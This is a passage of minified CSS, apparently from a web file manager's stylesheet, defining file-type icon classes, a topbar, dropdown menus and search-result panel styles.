\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 